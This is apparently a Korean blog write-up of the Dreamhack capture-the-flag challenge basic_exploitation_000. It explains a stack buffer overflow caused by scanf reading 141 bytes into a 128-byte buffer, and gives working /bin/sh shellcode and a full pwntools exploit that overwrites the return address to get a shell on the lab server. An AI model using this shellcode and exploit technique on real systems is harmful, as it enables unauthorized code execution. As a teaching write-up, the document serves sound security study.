Security/System Hacking

[System Hacking] Dreamhack - basic_exploitation_000 풀이

inyeong 2025. 1. 23. 03:10
 

basic_exploitation_000

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "f

dreamhack.io

 

문제 설명 


서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어진다. 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}


프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽어야 한다. 

 

문제 풀이 


# 1. 취약점 분석 

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

main() 함수를 살펴보면 크기가 0x80인 버퍼에 scanf("%141s", buf)로 입력을 받고 있다.  

buf의 크기는 128byte인데, 141byte 크기의 입력을 받고 있으므로 스택 버퍼 오버플로우가 발생한다. 

반환 주소를 shellcode로 overwrite하여 shell을 획득하면  flag 값을 알아낼 수 있을 것이다.


# 2. 트리거 (trigger) 

프로그램을 실행하면 buf의 주소를 알 수 있다. 

 


# 3. 스택 프레임 구조 파악 

gdb를 이용해 main()의 어셈블리 코드에서 scanf() 부분을 살펴본다. 

 

lea eax, [ebp - 0x80]

버퍼는 ebp-0x80에 위치한다. 

 

32비트 체제를 사용하고 있으므로 스택 프레임 구조는 다음과 같다. 

 

 


# 4. 페이로드 구성 

다음 26 byte shell code를 이용해 쉘을 실행할 수 있다. 

# scanf() 우회 shellcode
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

 

buf를 shellcode로 채우고, 남은 buf와 SFP의 크기 만큼은 'A'로 채운다. 

return address에 buf의 주소를 덮어쓰면, 함수 종료 후 쉘 코드가 실행될 것이다. 


# 5. 익스플로잇 코드 작성  

pwn 라이브러리를 사용해 아래와 같이 python 코드를 작성하고 실행하면 flag를 구할 수 있다. 

exploit.py 
from pwn import *

p = remote("host1.dreamhack.games", 20828)

# scanf() 우회 shellcode
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

buf = int(p.recv()[7:17], 16)	

payload = shellcode				
payload += b'A'*(128-len(shellcode)+4)		
payload += p32(buf)			

p.sendline(payload)				
p.interactive()